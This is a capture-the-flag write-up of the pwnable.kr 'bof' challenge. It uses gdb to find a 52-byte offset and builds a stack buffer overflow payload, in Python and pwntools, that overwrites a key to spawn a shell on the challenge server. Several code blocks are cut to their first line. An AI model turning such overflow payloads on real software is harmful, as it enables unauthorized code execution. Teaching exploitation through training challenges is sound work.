Pwnable.kr - bof
We continue our beginner series on Binary Exploitation with pwnable.kr, which has a reasonable difficulty curve, making it ideal for learning.
Let’s go for this 3rd challenge: bof.
Challenge Description
Bof
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000
Buffer Overflow
If you are unfamiliar with Buffer Overflow, I recommend you read my previous post on what a buffer overflow is and how it can be exploited.
With that in mind, let’s begin our analysis!
Test & Analysis
As usual, we can retrieve the binary and its source code:
1 | [hg8@archbook ~]$ wget http://pwnable.kr/bin/bof |
The program simply takes an input and prints “Nah..”:
1 | [hg8@archbook ~]$ ./bof |
If we input a longer string, the program crashes:
1 | [hg8@archbook ~]$ ./bof |
Source Code Analysis
The source code is quite straightforward and consists of only two functions:
1 |
|
Let’s break it down:
1 | int main(int argc, char* argv[]){ |
The main
function calls the func
function with 0xdeadbeef
as a parameter.
1 | void func(int key){ |
The func
function gets user input and stores it in a 32-byte buffer. It then compares the function parameter key
to the value 0xcafebabe
and opens a shell if the comparison succeeds.
However, we don’t have any control over the key
variable, since it’s hard-coded and passed by the main
function with the value 0xdeadbeef
.
We can already see how we need to exploit the program. We must overflow the overflowme
buffer until we reach the memory address of the key
variable. This way, we should be able to overwrite key
‘s value with 0xcafebabe
, making the comparison succeed and dropping us a shell to read the challenge flag.
So that was the theory. Let’s now see in practice how we can achieve this.
Dynamic Analysis
We will start with the usual dynamic analysis using gdb
to understand what is happening under the hood.
Let’s start by disassembling main()
:
1 | (gdb) disassemble main |
We can see 0xdeadbeef
being moved to esp
register before the function func
is called:
1 | 0x56555693 <+9>: mov DWORD PTR [esp],0xdeadbeef |
In the disassembly of func
we can find another reference to 0xdeadbeef
.
1 | (gdb) disassemble func |
It’s the cmp
instruction we are looking for (which corresponds to key == 0xcafebabe
):
1 | 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe |
Let’s put a breakpoint on the comparison and run the program:
1 | (gdb) break *0x56555654 |
From the comparison instruction, we know that 0xdeadbeef
is stored at ebp+0x8
, at 0xffffc860
memory address:
1 | (gdb) x $ebp+0x8 |
The overflowme
variable is located at ebp-0x2c
based on the LEA instruction. Since it’s a local variable, it’s on a negative offset from ebp
:
1 | 0x56555649 <+29>: lea eax,[ebp-0x2c] |
1 | (gdb) x/s $ebp-0x2c |
Now we need to know what’s the distance in memory between overflowme
and key
since we will have to overflow overflowme
buffer to overwrite key
content with cafebabe
value:
1 | [hg8@archbook ~]$ python3 -c "print(0xffffc860 - 0xffffc82c)" |
52 bytes!
If you are a more visual person, you can see in memory the distance between our input in overflowme
variable and the key
variable containing 0xdeadbeef
we are trying to overwrite:
Exploitation
Manual exploitation
Okay, we now have all the necessary information. Our payload will consist of 52 bytes of padding characters followed by 0xcafebabe
. However, since x86 CPUs use the little-endian format for integers, we need to reverse the byte order to \xbe\xba\xfe\xca
.
Using Python, we can build the following payload:
1 | import sys |
Let’s try it!
1 | [hg8@archbook ~]$ python3 payload.py| ./bof |
Bummer, nothing happened…
Well, taking a closer look at the C source code, we realize this is expected behavior. The system("/bin/sh");
call starts a shell, but since our script sends its payload and immediately closes its output stream, the new shell has no input and exits instantly.
The trick here is to use cat
to keep the input stream open, allowing us to interact with the shell:
1 | [hg8@archbook ~]$ (python3 payload.py;cat)| ./bof |
Bingo! We can now try it against the instance running on pwnable.kr:
1 | [hg8@archbook ~]$ (python3 payload.py;cat) | nc pwnable.kr 9000 |
Using pwntools
Exploitation is quite straightforward using pwntools
.
First, we build our payload the same way we did manually:
1 | payload = b"\x41"*52 |
Then we just send it to the server and open an interactive session:
1 | io = remote('pwnable.kr', 9000) |
Final script:
1 | #!/usr/bin/env python |
Running it:
1 | [hg8@archbook ~]$ python3 exploit.py |
That’s it, folks! I hope you enjoyed this entry in my series on Buffer Overflow.
As always, feel free to contact me with any questions or feedback!
See you next time ;)
-hg8